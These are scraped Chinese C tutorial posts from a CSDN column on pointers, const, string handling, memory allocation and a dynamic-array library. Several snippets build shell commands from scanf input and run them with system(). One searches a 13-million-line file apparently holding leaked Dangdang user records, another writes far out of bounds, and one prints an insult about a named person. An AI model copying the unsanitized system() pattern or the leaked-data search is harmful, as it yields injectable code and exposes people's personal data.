(strstr("记事本", lpszText2) != NULL) { system("notepad"); DrawText(hdc, TEXT("记事本"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if (strstr("计算器", lpszText2) != NULL) { system("calc"); DrawText(hdc, TEXT("计算器"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if (strstr("画图板", lpszText2) != NULL) { system("mspaint"); DrawText(hdc, TEXT("画图板"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if (strstr("谭胜", lpszText2) != NULL) { DrawText(hdc, TEXT("这是一个猥琐男"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } } } } } return TRUE; } case WM_PAINT: hdc=BeginPaint(hwnd,&ps); EndPaint(hwnd,&ps); return 0; case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hwnd,message,wParam,lParam); } Const关键字 Const int *p; int const *p; const *地址不可以修改 int *const p; *const指向的数据不可修改 #include <stdio.h> void main01() { int num = 10; //const int data; //data = 20; const int data = 20;//const 修饰的变量,只能在初始化的时候进行赋值操作 getchar(); } //const在*左侧,地址本身不可以修改,可以改变指针指向。只能读不能写 void main02() { int num = 10; const int data = 20; //const int *p;//等价于int const *p; int const *p; p = # printf("%d\n", *p); p = &data; printf("%d\n", *p); //*p = 30;// getchar(); } //const在*右侧,指向的数据不可修改 void main() { int num = 10; const int data = 20; int *const p = #//只能在初始化的时候,指定唯一的指向 //int *const p; //p = # printf("%d\n", *p); //p = &data; *p = 30; printf("%d\n", *p); getchar(); } void main04() { int num = 10; const int data = 20; const int *const p = # printf("%d\n", *p); //*p = 30; //p = &data; getchar(); } 字符串应用 #define _CRT_SECURE_NO_WARNINGS //关闭安全检查 #include<stdio.h> #include<stdlib.h> #include<string.h> #include <Windows.h> void main1() { //char str[100] = "for /l %i in (1,1,5) do calc"; //char *p = "for /l %i in (1,1,5) do calc"; //str[0] = ' '; str是数组,存储的是字符串每一个字符 //*p = ' ';p是一个指针,存储字符串的地址 char str[100] = { 0 }; //printf("for /l %%i in (1,1,%d) do %s",5,"calc"); int num; char op[30] = { 0 }; scanf("%d%s", &num, op); sprintf(str, "for /l %%i in (1,1,%d) do %s", num, op); system(str); system("pause"); } void main2() { char str[100] = { 0 }; char op[30] = { 0 }; scanf("%s", op); sprintf(str, "taskkill /f /im %s", op); system(str); system("pause"); } void main3() { system("tasklist"); for (int i = 0x0; i <= 0xf; i++) { char str[30] = { 0 };//存储指令 sprintf(str, "color %x%x", i,0xf-i);//打印指令 system(str);//变色 Sleep(500); } } void main4() { char str[100] = "我有1000元"; int num; sscanf(str, "我有%d元", &num); printf("%d", num); system("pause"); } void main5() { //printf("%.6s\n", "1234.abcd"); char str[100] = "notepad8888"; char newstr[100] = ""; sprintf(newstr, "%.s", str); system(newstr); system("pause"); } void main6() { char str1[100] = "note"; char str2[100] = "pad"; //system(str1 + str2); char str3[100] = { 0 }; sprintf(str3, "%s%s", str1, str2);//字符串相加 system(str3); } void main7() { //printf("%.6s", "1234.abcd"); char str[100] = "notepad8888"; char newstr[100] = ""; sprintf(newstr, "%-10.7s", str);//10宽度,+宽度范围内右边对齐,-左边对齐,.7从左往右挖去7个字符 printf("[%s]", newstr); system(newstr); system("pause"); } int mystrlen(char* str) { int i = 0; for (char*p = str; *p != '\0'; p++) { i++; } return i;//实现字符串统计 } int mystrlenA(char* str) { char *p = str; int i = 0; AAA: if (*p!='\0') { i++; p++; goto AAA; } return i; } int mystrlenB(char *str) { if (*str=='\0') { return 0; } else { return 1 + mystrlenB(++str); } } void main8() { char str[100] = "china is good"; printf("%d", sizeof(str));//求数组缓冲区长度 printf("\n%d", mystrlen(str));//从开头第一个字符到\0字符 printf("\n%d", mystrlenA(str));//从开头第一个字符到\0字符 printf("\n%d", mystrlenB(str));//从开头第一个字符到\0字符 getchar(); } void main9() { char str1[100] = "my name is yincheng"; char str2[30] = "chen"; char *p = strstr(str1, str2); if (p == NULL) { printf("没有找到"); } else { printf("找到%p,%c, %s", p, *p, p); } getchar(); } 内存分配以及处理海量数据 #include<stdio.h> #include<stdlib.h> // m, n生成一个数组,m行 n列 void main() { int *p =(int*) malloc(sizeof(int)* 40);//一维数组 for (int *px = p,i=0; px < p + 40; px++,i++)// { *px = i;//赋值 printf("%d,%p\n", *px, px);//指针循环 } //int b[5][8]; printf("\n\n\n"); int(*pp)[8] = (int(*)[8]) p;//指针类型决定了访问的方式 for (int i = 0; i < 5; i++) { for (int j = 0; j < 8; j++) { //printf("%5d", pp[i][j]);//打印数据 printf("%5d", *(*(pp + i) + j));// pp[i][j] } printf("\n"); } //a [4][2][5] printf("\n\n\n"); int(*ppp)[2][5] = (int(*)[2][5])p; for (int i = 0; i < 4; i++) { for (int j = 0; j < 2; j++) { for (int k = 0; k < 5; k++) { //printf("%5d", ppp[i][j][k]);//打印元素 printf("%5d", *(*(*(ppp + i) + j) + k)); } printf("\n"); } printf("\n\n\n"); } system("pause"); } #define _CRT_SECURE_NO_WARNINGS //关闭安全检查 #include<stdio.h> #include<stdlib.h> #include<string.h> char **pp=NULL;//存储指针数组的地址 //13180807 *4 /1024/1024 50M void initdatatomem(char *path) { pp = (char **)malloc(sizeof(char *)* 13180807);//分配指针数组 FILE *pf = fopen(path, "r"); if (pf == NULL) { printf("fail"); } else { for (int i = 0; i < 13180807; i++) { char str[275] = {0};//读取字符串的缓冲区 fgets(str, 275, pf);//从文件中逐行读取字符串 int strlength = strlen(str) + 1;//获取要分配的字符串长度 char *px =(char *) malloc(sizeof(char)*strlength);//分配内存 strcpy(px, str);//拷贝字符串 px[strlength - 1] = '\0';//设定最后一个字符为'\0' pp[i] = px;//存储字符串的首地址到指针数组 } } printf("载入内存OK\n"); } void findstr(char *searchstr) { for (int i = 0; i < 13180807; i++) { //pp[i];//是一个指针 char *ptemp = strstr(pp[i], searchstr);//遍历所有的指针数组的地址,字符串查找 if (ptemp != NULL) { printf("\n%s", pp[i]);//打印字符串 } } } int getfilesize(char *path) { FILE *pf;//文件指针 pf = fopen(path, "r");//读取的模式打开 if (pf == NULL) { return -1;//代表获取失败 } else { fseek(pf, 0, SEEK_END);//到文件末尾 int num = ftell(pf);//文件开头到当前位置有多少个字节 fclose(pf);//关闭文件 return num; } } int getn(char *path) { FILE *pf;//文件指针 pf = fopen(path, "r");//读取的模式打开 if (pf == NULL) { return -1;//代表获取失败 } else { int i = 0; while (!feof(pf))//是否到文件末尾 { char str[275]; fgets(str, 275, pf);//读取一行 i++;//统计行数 } fclose(pf);//关闭文件 return i; } } void main() { /*char *path = "C:\\Users\\yincheng01\\Desktop\\old\\dangdangwang.txt"; int num = getfilesize(path); printf("%d字节,%fK,%fM", num, num / 1024.0, num / 1024.0 / 1024.0); printf("\n有%d行", getn(path));*/ char *path = "C:\\Users\\yincheng01\\Desktop\\old\\dangdangwang.txt"; initdatatomem(path); while (1) { char searchstr[100] = { 0 }; scanf("%s", searchstr); findstr(searchstr); } system("pause"); }
【送给在路上的程序员】 对于一个开发者而言,能够胜任系统中任意一个模块的开发是其核心价值的体现。 对于一个架构师而言,掌握各种语言的优势并可以运用到系统中,由此简化系统的开发,是其架构生涯的第一步。 对于一个开发团队而言,能在短期内开发出用户满意的软件系统是起核心竞争力的体现。 每一个程序员都不能固步自封,要多接触新的行业,新的技术领域,突破自我。 数组与指针 #include<stdio.h> #include<stdlib.h> void main1() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; for (int *p = a; p < a + 10; p++)//指针类型决定占4个字节 { printf("\n%p,%d", p, *p); } getchar(); } void main2() { //轮询数组的时候,用指针轮询,指针可以指向某个元素的大小 //指针数组,管理地址,按照顺序执行指令 char *str[5] = { "calc", "notepad", "tasklist", "pause", "mspaint" }; for (char **pp = str; pp < str + 5; pp++)// { system(*pp); } } void main3() { char str[5][10] = { "calc", "notepad", "tasklist", "pause", "mspaint" }; printf("%p", str); //p[1],p[2],p[3] //类型不一样 for (char(*p)[10] = str; p < str + 5; p++) { printf("\n %p,%s", p, p);//打印地址 字符串 system((char *)p); } //char **pp = str; //for (char **pp = str; pp < str + 5; pp++)// //{ // system(*pp); //} system("pause"); } void main4() { char str[5][10] = { "calc", "notepad", "tasklist", "pause", "mspaint" }; printf("%p,%p,%p", str, &str, *str); //指针地址的一样,但是类型不一样 //str代表行地址,&str代表整个数组的地址,*str就是第一个字符的地址 printf("\n%d,%d,%d", sizeof(*str), sizeof(*(&str)), sizeof(*(*str))); ////求指针指向内容占多大 //int num = 10; //int *p1=# //double db = 10.9; //double * p2 = &db; //printf("%d,%d", sizeof(p1), sizeof(p2)); //printf("\n%d,%d", sizeof(*p1), sizeof(*p2)); system("pause"); } void main5() { int a[3][4] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 }; printf("%p\n", a); //int *p1 = &a[0][0]; //int *p2 = p1 + 4; //printf("%d", *p2); //int *p3 = p2 - 3; //printf("\n%d", *p3); //printf("\n%d", p2 - p3); ////C语言运算规则,加法加上元素的大小×加上的数 ////减法就是减去元素的大小×减去的数 ////int *p=0x300500 p+2*(sizeof(int))=0x300508 ////char *p1=0x300500 p1+2*(sizeof(char))=0x300502 for (int *p = &a[0][0]; p < &a[0][0] + 12; p++) { if ((p - &a[0][0])%4 == 0) { printf("\n"); } printf("%5d", *p); } printf("\n\n\n"); int (*px)[4] = a;//a是一个常量的行指针,a的类型与px等价的 for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { //printf("%5d", a[i][j]); //printf("%5d", px[i][j]); //printf("%5d", *(px[i] + j)); printf("%5d", *(*(px + i) + j)); } printf("\n"); } getchar(); } 数组与指针2 #include<stdio.h> #include<stdlib.h> int searchmax(int a[3][4])//一维数组没有副本机制,二维数组也没有,数组作为参数都是传递地址 { //printf("\nsearch=%d", sizeof(a));// //int b[3][4] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2 }; //printf("\nsaerch b=%d", sizeof(b)); int max;//存储最大的值 max = a[0][0]; for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { if (a[i][j]>max)//比较大小 { max = a[i][j];//接受最大的地址 } } } return max; } int searchmaxA(int (*p)[4])//退化为一个指向有四个元素的数组的哦指针 { //printf("\nsearch=%d", sizeof(a));// //int b[3][4] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2 }; //printf("\nsaerch b=%d", sizeof(b)); int max;//存储最大的值 max = p[0][0]; for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { if (p[i][j]>max)//比较大小 { max = p[i][j];//接受最大的地址 } } } return max; } int searchmin(int(*p)[4]) { //int min = p[0][0];//假定第一个是最小的 int min = *(*(p+0)+0);//第一个元素的大小 for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { //if (p[i][j]<min)//比较大小 //{ // min= p[i][j];//求出最小的数 //} if (*(*(p + i) + j) < min) { min = *(*(p + i) + j); } } } return min; } void main4() { int a[3][4] = { 1, 2, 3, 4, 5, 16, -7, 8, 9, 10, 1, 2 }; printf("\nmain=%d", sizeof(a));// //printf("\n%d",searchA(a));//退化为一个指针 printf("\n%d", searchmin(a)); system("pause"); } #include<stdio.h> #include<stdlib.h> #include<Windows.h> struct pos { int x; int y; }; //struct pos pos1[8] = { { 100, 200 }, //{ 100, 0 }, //{ 200, 400 } , //{300,400}, //{390,600}, //{ 190, 900 }, //{ 990, 100 }, //{ 1390, 600 } //}; struct pos pos1[8][2] = { { { 100, 200 }, { 1000, 900 } }, { { 200, 0 }, { 900, 800 } }, { { 0, 0 }, { 800, 1300 } }, { { 1500, 200 }, {600, 900 } }, { { 800, 700 }, { 700, 800 } }, { { 300, 100 }, { 600, 700 } }, { { 900, 800 }, { 700, 700 } }, { { 100, 200 }, { 800, 800 } }, }; void mainx() { HWND *win = FindWindowA("Notepad", "无标题 - 记事本"); if (win == NULL) { return; } SetWindowPos(win, NULL, 0, 0, 100, 300, 1); for (int i = 0; i < 8; i++) { //设置窗口位置大小 SetWindowPos(win, NULL, pos1[i][0].x, pos1[i][0].y, pos1[i][1].x, pos1[i][1].y, 1); Sleep(3000); } system("pause"); } 三维数组 #include<stdio.h> #include<stdlib.h> //int a [10] int *p //int a[10][9] int (*p)[9] //int a[8] [9][10] int (*p)[9][10] void print3(int a[3][4][5]) { for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { for (int k = 0; k < 5; k++) { printf("%4d", a[i][j][k]); } printf("\n"); } printf("\n\n\n"); } } void print3A(int (*p)[4][5])//指针的方式 { for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { for (int k = 0; k < 5; k++) { //printf("%4d", p[i][j][k]); //指针访问三维数组 printf("%4d", *(*(*(p + i) + j) + k)); } printf("\n"); } printf("\n\n\n"); } } void main() { int a[3][4][5]; int num = 0; printf("%d\n", sizeof(a)); //线性初始化 for (int *p = &a[0][0][0]; p < &a[0][0][0] + 60; p++) { *p = num; num++; } //int(*px)[4][5] = a;//等价关系 print3A(a); getchar(); } 内存分配 #include<stdio.h> #include<stdlib.h> void main1() { int a[1024 * 1024];//栈溢出 int num = 100; //int a[num];VC数组必须常量,GCC可以是变量 } //增加,删除,查询,修改 int a[10]; int length=10; void main2() { for (int i = 0; i < length; i++) { printf("%d\n", a[i] = i);//初始化数组并打印 } int num = 3; if (a[length - 1] == num)//判定最后一个 { length -= 1;//长度递减 } else { for (int i = 0; i < length - 1; i++) //遍历数组 { if (num == a[i])//找到 { for (int j = i; j < length-1; j++)//删除 { a[j] = a[j + 1];//从后往前移动 } length = length - 1;//长度-1 break; } } } for (int i = 0; i < length; i++) { printf("%d\n", a[i] );//数组并打印 } system("pause"); } void main3() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; //写C程序的时候,务必保证绝对不出错误,偶尔不报错 a[10] = 11; a[11] = 12; a[102345] = 123; getchar(); } void main() { int *p1 = (int*)malloc(sizeof(int)* 10);//只管分配,不初始化 int *p2 = (int *)calloc(10,sizeof(int));//calloc会进行内存清零 printf("%p,%p", p1, p2); for (int i = 0; i < 10; i++) { p1[i] = i; p2[i] = i; } getchar(); } 数据结构数组接口与封装 #include<stdio.h> #include<stdlib.h> void main1() { int *p =(int *) calloc(10, sizeof(int));//分配内存 printf("%p\n", p);//输出地址 for (int i = 0; i < 10; i++) { *(p + i) = i;//*(p+i)等价于p[i] } int *pnew = (int *)realloc(p, 100000);//变长 //realloc.第一种情况,后面的内存没人用,就直接拓展变长 //第二种情况,后面的内存有人用,先分配新的长度,拷贝原来的内存,释放的原来的内存 printf("%p", pnew); for (int i = 10; i < 25000; i++) { *(pnew + i) = i; } system("pause"); } 动态数组 #include<stdio.h> #include<stdlib.h> struct data { int *p;//指针保存数组的起始点 int length;//保存数组的长度 int stat;//0代表无序,1代表有序从小到大,2有序从大到小 int reallength;//实际分配的内存长度 }; struct findres { int **pp; int n; }; //增加,删除,查找,修改,排序,插入 void init(struct data *pdata);//初始化 void reinit(struct data *pdata);//使用之后重新初始化 void addobject(struct data *pdata, int num);//增加一个元素 void addobjects(struct data *pdata, int *pnum, int n);//增加一个数组 void printfall(struct data *pdata);//打印所有的数据 int * finddata(struct data *pdata, int num);//返回第一个找到数据的地址 void sort(struct data *pdata, int obj);//obj=0,从小大到,否则从到小 void change(struct data *pdata, int oldnum, int newnum);//实现修改 void deleteone(struct data *pdata, int num);//删除第一个找到的数据 void deleteall(struct data *pdata, int num); //删除所有能找到的数据 struct findres findadlldata(struct data *pdata, int num);//返回一片内存,包含所有找到的元素的首地址 void insert(struct data *pdata, int num, int insertnum, int headback);//数据插入 //1代表前面插入,0代表后面插入 #include"动态数组.h" void init(struct data *pdata) //使用之前初始化 { pdata->p = NULL;//意味着还没有初始化 pdata->length = 0;//长度为0; pdata->stat = 0;//代表无序 pdata->reallength = 0;//实际长度 } void reinit(struct data *pdata)//使用之后 { if (pdata->p == NULL) { return; } else { free(pdata->p);//释放内存 pdata->p = NULL;//意味着还没有初始化 pdata->length = 0;//长度为0; pdata->stat = 0;//代表无序 pdata->reallength = 0;//实际长度 } } //增加一个数据 void addobject(struct data *pdata, int num) { if (pdata->p == NULL) { pdata->p = (int *)malloc(sizeof(int));//增加一个元素 pdata->length = 1;//数组标识增加一个元素 pdata->reallength = 1;//实际长度 pdata->p[pdata->length - 1] = num;//赋值 } else { if (pdata->length == pdata->reallength) { pdata->p = (int *)realloc(pdata->p, (pdata->length + 1)*sizeof(int)); pdata->length += 1;//数组标识增加一个元素 pdata->reallength += 1;//实际长度 pdata->p[pdata->length - 1] = num;//赋值 } else { pdata->length += 1;//数组标识增加一个元素 pdata->p[pdata->length - 1] = num;//赋值 } } } //增加一个数组 void addobjects(struct data *pdata, int *pnum, int n) //数组作为参数退化为指针 { if (pdata->p == NULL) { pdata->p = (int *)malloc(sizeof(int)*n);//增加N个元素 pdata->length = n;//数组标识增加n个元素 pdata->reallength = n;//实际长度 for (int i = 0; i < n; i++) { pdata->p[i] = pnum[i];//拷贝数组 } } else { if (pdata->length+n <= pdata->reallength) { for (int i = 0; i < n; i++) { pdata->p[i + pdata->length] = pnum[i];//拷贝数组 } pdata->length += n;//数组标识增加n个元素 } else { pdata->p = (int *)realloc(pdata->p, (pdata->length + n)*sizeof(int));//重新分配内存 for (int i = 0; i < n; i++) { pdata->p[i + pdata->length] = pnum[i];//拷贝数组 } pdata->length += n;//数组标识增加n个元素 pdata->reallength += n;//增加长度 } } } void printfall(struct data *pdata) //打印所有的数组 { for (int i = 0; i < pdata->length; i++) { printf("%d\n", pdata->p[i]);//输出一个数组 } } void sort(struct data *pdata, int obj)//obj=0,从小大到,否则从da到小 { if (obj == 0) { for (int i = 0; i < pdata->length - 1; i++) { for (int j = 0; j < pdata->length - i-1; j++) { if (pdata->p[j] > pdata->p[j + 1])// j >j+1 { int temp = pdata->p[j]; //交换数据 pdata->p[j] = pdata->p[j + 1]; pdata->p[j + 1] = temp; } } } pdata->stat = 1;//代表从小到大 } else { for (int i = 0; i < pdata->length - 1; i++) { for (int j = 0; j < pdata->length - i-1; j++)//冒泡没循环一次,沉底一个极值 { if (pdata->p[j] < pdata->p[j + 1])// j <j+1 { //int temp = pdata->p[j]; //交换数据 //pdata->p[j] = pdata->p[j + 1]; //pdata->p[j + 1] = temp; pdata->p[j] = pdata->p[j] ^ pdata->p[j + 1]; pdata->p[j + 1] = pdata->p[j] ^ pdata->p[j + 1]; pdata->p[j] = pdata->p[j] ^ pdata->p[j + 1]; //0011 0001 3 1 //p[j]0011 //p[j + 1]0001 // p[j] 0010 //p[j + 1]0001 // p[j] 0010 //p[j + 1]0011 // 0001 a=a^b,b=a^b.a=a^b; } } } pdata->stat = 2;//代表从大到小 } } int * finddata(struct data *pdata, int num) { if (pdata->stat == 0) { for (int i = 0; i < pdata->length; i++)//顺序循环 { printf("查找第%d次\n", i); if (num == pdata->p[i])//判定是否相等 { return &pdata->p[i];//返回一个地址 break;//跳出循环 } } return NULL; } else if (pdata->stat == 1) //二分查找法//从小到da { int shang = 0;//shang int xia = pdata->length - 1;//下 while (shang <= xia)//循环终止条件, { int zhong = (shang + xia) / 2; printf("%d,%d,%d\n", shang, zhong, xia); if (pdata->p[zhong] == num) { return &pdata->p[zhong];//返回地址 } else if (pdata->p[zhong] >num) { xia = zhong - 1; } else if (pdata->p[zhong]<num) { shang = zhong + 1; } } return NULL; } else { int shang = 0;//shang int xia = pdata->length - 1;//下 while (shang <= xia)//循环终止条件, { int zhong = (shang + xia) / 2; printf("%d,%d,%d\n", shang, zhong, xia); if (pdata->p[zhong] == num) { return &pdata->p[zhong];//返回地址 } else if (pdata->p[zhong] >num) { //xia = zhong - 1; shang = zhong + 1; } else if (pdata->p[zhong]<num) { //shang = zhong + 1; xia = zhong - 1; } } return NULL; } } void change(struct data *pdata, int oldnum, int newnum)//实现修改 { int *p = finddata(pdata, oldnum); if (p == NULL) { printf("修改失败,没有找到"); return; } else { *p = newnum;//修改数据 } } ////1代表前面插入,0代表后面插入 void insert(struct data *pdata, int num, int insertnum, int headback)//数据插入 { int *p = finddata(pdata, num);//查找数据 if (p == NULL) { return ;//没有找到 } else { //找到,前面插入 ,否则后面插入 if (headback==1) { if (pdata->length<pdata->reallength)//不需要分配 { int curr = p - pdata->p;//获取要插入位置的下标 for (int i = pdata->length - 1; i>=curr; i--) { pdata->p[i + 1] = pdata->p[i];//从后向前移动 } pdata->p[curr] = insertnum;//实现插入,前面插入 pdata->length++;//长度加1 } else { int curr = p - pdata->p;//获取要插入位置的下标 pdata->p = (int *)realloc(pdata->p, (pdata->length + 1)*sizeof(int));//增加分配内存 pdata->reallength++;//实际长度+1; for (int i = pdata->length - 1; i >= curr; i--) { pdata->p[i + 1] = pdata->p[i];//从后向前移动 } pdata->p[curr] = insertnum;//实现插入,前面插入 pdata->length++;//长度加1 } } else { if (pdata->length<pdata->reallength)//不需要分配 { int curr = p - pdata->p;//获取要插入位置的下标 for (int i = pdata->length - 1; i > curr; i--)//实现移动 { pdata->p[i + 1] = pdata->p[i];//从后向前移动 } pdata->p[curr+1] = insertnum;//实现插入,hou插入 pdata->length++;//长度加1 } else { int curr = p - pdata->p;//获取要插入位置的下标 pdata->p = (int *)realloc(pdata->p, (pdata->length + 1)*sizeof(int));//增加分配内存 pdata->reallength++;//实际长度+1; for (int i = pdata->length - 1; i > curr; i--)//实现移动 { pdata->p[i + 1] = pdata->p[i];//从后向前移动 } pdata->p[curr + 1] = insertnum;//实现插入,hou插入 pdata->length++;//长度加1 } } } } //删除 void deleteone(struct data *pdata, int num) { int *p = finddata(pdata, num);//查找数据 if (p == NULL) { return ;//没有找到,删除, } else { int curr = p - pdata->p;//cur就是要删除的下标 //printf("\n%d,%p", *p, p); //printf("\n%d,%p", pdata->p[curr], &pdata->p[curr]);//输出数据 for (int i = curr; i < pdata->length - 1; i++) { pdata->p[i] = pdata->p[i + 1];//从后向前移动 } pdata->length -= 1;//数组元素减去1 } } //删除全部 void deleteall(struct data *pdata, int num) //删除所有能找到的数据 { for (int *p = finddata(pdata, num); p != NULL; p = finddata(pdata, num)) { int curr = p - pdata->p;//cur就是要删除的下标 //printf("\n%d,%p", *p, p); //printf("\n%d,%p", pdata->p[curr], &pdata->p[curr]);//输出数据 for (int i = curr; i < pdata->length - 1; i++) { pdata->p[i] = pdata->p[i + 1];//从后向前移动 } pdata->length -= 1;//数组元素减去1 } } int * find(int *p, int num,int n )//从一个地址开始,N个范围之内找到 { for (int i = 0; i < n; i++)//循环 { if (p[i] == num)//判断 { return p + i;//返回找到的地址 break; } } return NULL;//代表没有找到 } struct findres findadlldata(struct data *pdata, int num) { struct findres res1;//构建结构体变量 int i = 0; //统计找到多少个。 for (int *p = find(pdata->p, num, pdata->length - 1);p!=NULL; p = find(p+1, num, (pdata->length - 1)-(p-pdata->p))) { i++; } res1.n = i;//长度 int **pint = (int **)malloc(sizeof(int *)* i);//指针数组 res1.pp = pint; for (int *p = find(pdata->p, num, pdata->length - 1),j=0; p != NULL;j++, p = find(p + 1, num, (pdata->length - 1) - (p - pdata->p))) { pint[j] = p;//循环赋值 //printf("\n%p,%d\n", pint[j], *pint[j]); } return res1; } 数组库的测试 #include<stdio.h> #include<stdlib.h> #include"动态数组.h" void main() { int a[10] = { 231, 112, 1233, 14123, 523, 112, 71, 18, 29, 112 }; struct data data1; init(&data1); addobject(&data1, 10); addobject(&data1, 11); addobject(&data1, 12); //reinit(&data1); addobjects(&data1, a, 10); printfall(&data1); insert(&data1, 1233, 1988, 1); insert(&data1, 1233, 1998, 0); printfall(&data1); system("pause"); } void main2() { int a[10] = { 231, 112, 1233, 14123, 523, 112, 71, 18, 29, 112 }; struct data data1; init(&data1); addobject(&data1, 10); addobject(&data1, 11); addobject(&data1, 12); //reinit(&data1); addobjects(&data1, a, 10); printfall(&data1); struct findres resn= findadlldata(&data1, 112);//查找 for (int i = 0; i < resn.n; i++) { printf("\nresn %p,%d\n", *(resn.pp+i), **(resn.pp+i));//二级指针遍历指针数组 } free(resn.pp);//释放内存 printfall(&data1); system("pause"); } void main1() { int a[10] = { 231, 112, 1233, 14123, 523,116, 71, 18, 29, 110 }; struct data data1; init(&data1); addobject(&data1, 10); addobject(&data1, 11); addobject(&data1, 12); //reinit(&data1); addobjects(&data1, a, 10); printfall(&data1); int *pfind = finddata(&data1, 1101);//查找 if (pfind != NULL) { printf("%d,%p", *pfind, pfind);//输出查找结果 } else { printf("没有找到奥"); } { printf("\n\n"); sort(&data1, 0); printfall(&data1); int *pfind = finddata(&data1, 523);//查找 if (pfind != NULL) { printf("%d,%p", *pfind, pfind);//输出查找结果 } else { printf("没有找到奥"); } } { printf("\n\n"); sort(&data1, 1); printfall(&data1); int *pfind = finddata(&data1, 523);//查找 if (pfind != NULL) { printf("%d,%p", *pfind, pfind);//输出查找结果 } else { printf("没有找到奥"); } } getchar(); } |=========== 吴英强CSDN博客专栏==============| |== C/C++学院 专栏文章的内容(不定期更新)===| |== linux驱动开发 探索linux底层的奥秘 ==========| |== Java基础学习篇 掌握java语言的基础知识=====| |====== 每天进步一点点,健康快乐每一天 ========|
【送给在路上的程序员】 对于一个开发者而言,能够胜任系统中任意一个模块的开发是其核心价值的体现。 对于一个架构师而言,掌握各种语言的优势并可以运用到系统中,由此简化系统的开发,是其架构生涯的第一步。 对于一个开发团队而言,能在短期内开发出用户满意的软件系统是起核心竞争力的体现。 每一个程序员都不能固步自封,要多接触新的行业,新的技术领域,突破自我。 cppIDE 使用mfc和codeblocks中的mingw编译器。执行system命令中的bat批处理脚本。 一级指针 指针,结构体struct,联合union,枚举enum #include<stdio.h> #include<stdlib.h> void changenum(int num) //函数的参数有副本机制 ,新建一个变量,容纳传递过来参数的值 { num = 3; printf("\nchangenum=%p", &num); } void changepnum(int *p)//创建指针容纳地址 { *p = 2;//*根据地址与类型取出内容 } void main2() { int num = 10; printf("\nmain num=%p", &num); //changenum(num);//传递数据 changepnum(&num);//传递地址 printf("\n%d", num); getchar(); } void main1() { int num = 10; num = 5;//直接 int *p = # *p = 6;//间接修改 printf("%d", num); getchar(); } void test(int a[10])//数组是一个例外,拒绝副本机制,数组当作参数的时候是地址 { printf("\ntest =%d", sizeof(a)); int b[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; printf("\ntest b=%d", sizeof(b));//求数组大小 } void test1(int a[10])//数组是一个例外,拒绝副本机制,数组当作参数的时候是地址 { a[0] = 9;//数组作为参数,改变数组,等于直接操作外部数组 for (int i = 0; i < 10; i++) { printf("\ntest1= a[%d]=%d", i, a[i]); } } void test2(int *p)//一级指针可以作为函数的形式参数接受数组的首地址 { *p = 9; for (int *px = p; px < p + 10; px++) { printf("\ntest2 =%d,%p", *px, px);//打印数据还有地址 } } void main3() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; printf("\nmain a=%d", sizeof(a));//求数组大小 printf("\n%d", sizeof(a) / sizeof(int)); test2(a);//数组当作参数使用 for (int i = 0; i < 10; i++) { printf("\n main= a[%d]=%d", i, a[i]); } system("pause"); } void main4() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; printf("%p", a);//a是一个常量指针,//a = a; int *p = a;//int*类型 printf("\np=%d,a=%d", sizeof(p),sizeof(a));//4字节,数组名编译器做了特殊处理 //下标循环 for (int i = 0; i < 10; i++) { printf("\n%d,%p,%d,%p", p[i], &p[i],*(p+i),p+i); //p[i]等价于 *(p+i) &p[i]=p+i } //指针循环 for (int *px = a + 9; px >= a; px--) { printf("\n%d,%p", *px, px); } getchar(); } int go() //return 也有副本机制,寄存器 { int a = 3;//auto 自动变量 printf("%p", &a); printf("\n"); return a; } void main5() { //printf("%d,%p", go(),&go()); 函数的返回值不可以取地址 int x = go(); printf("%d", x); int x1 = go(); printf("\n%d", x1); getchar(); } int * go1() //return 也有副本机制,寄存器 { int a = 3;//auto 自动变量 printf("%p", &a); printf("\n"); return &a; } void main6() { int *p = go1(); printf("\n\n\n\n");// 函数执行完成以后,内存被回收了,没有使用还是原来的值,使用后内存的值发生变化 printf("%d,%p", *p, p);//打印地址还有内容 getchar(); } void main7() { char *p = "tasklist & pause";//指针存储地址 //*p = 'a';//常量字符串不可以修改 //printf("%p", p); char *px = p; while (*px != '\0') { putchar(*px); px++;//指针向前挪 } system(p); } void main8() { int num = 10; int *p = # //指针的类型,类型决定了步长 printf("%d", *p); getchar(); } void main9() { int num = -1; //1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 //无符号全部数据 4294967295 //有符号就是第一个符号位1代表负数,剩下全部是数据 unsigned int *p1 = # //指针的类型决定如何解析 int *p2 = # printf("%u,%d", *p1, *p2); getchar(); } struct info { int num; float score; }; void main10() { struct info info1; printf("%d,%f", info1.num = 10, info1.score = 29);//赋值表达式的值等于被赋值变量的值 struct info *p1 = &info1; printf("\n%d,%f", (*p1).num, (*p1).score); printf("\n%d,%f", p1->num, p1->score);//指针访问结构体两种形式 struct info *p2= (struct info*)malloc(sizeof(struct info)); p2->num = 18; p2->score = 19.8; printf("\n%d,%f", (*p2).num, (*p2).score);//打印数据 printf("\n%d,%f", p2->num, p2->score); getchar(); } void main11() { struct info *p2 = (struct info*)malloc(sizeof(struct info)*5);//构建动态数组 int i = 0; for (struct info *px = p2; px < p2 + 5; px++)//指针循环 { px->num = i; px->score = i + 3.5; i++; printf("\n%d,%f", px->num, px->score);//指针访问 } for (int j = 0; j < 5; j++) { p2[j].num = i + 3; p2[j].score = i + 8.5; i++; printf("\n%d,%f", p2[j].num, p2[j].score);//下标 } getchar(); } union un { int num;//4个字节 float sh; //穿一条裤子的共用体体 }; void main12() { union un uni1; uni1.num = 4; printf("%d", 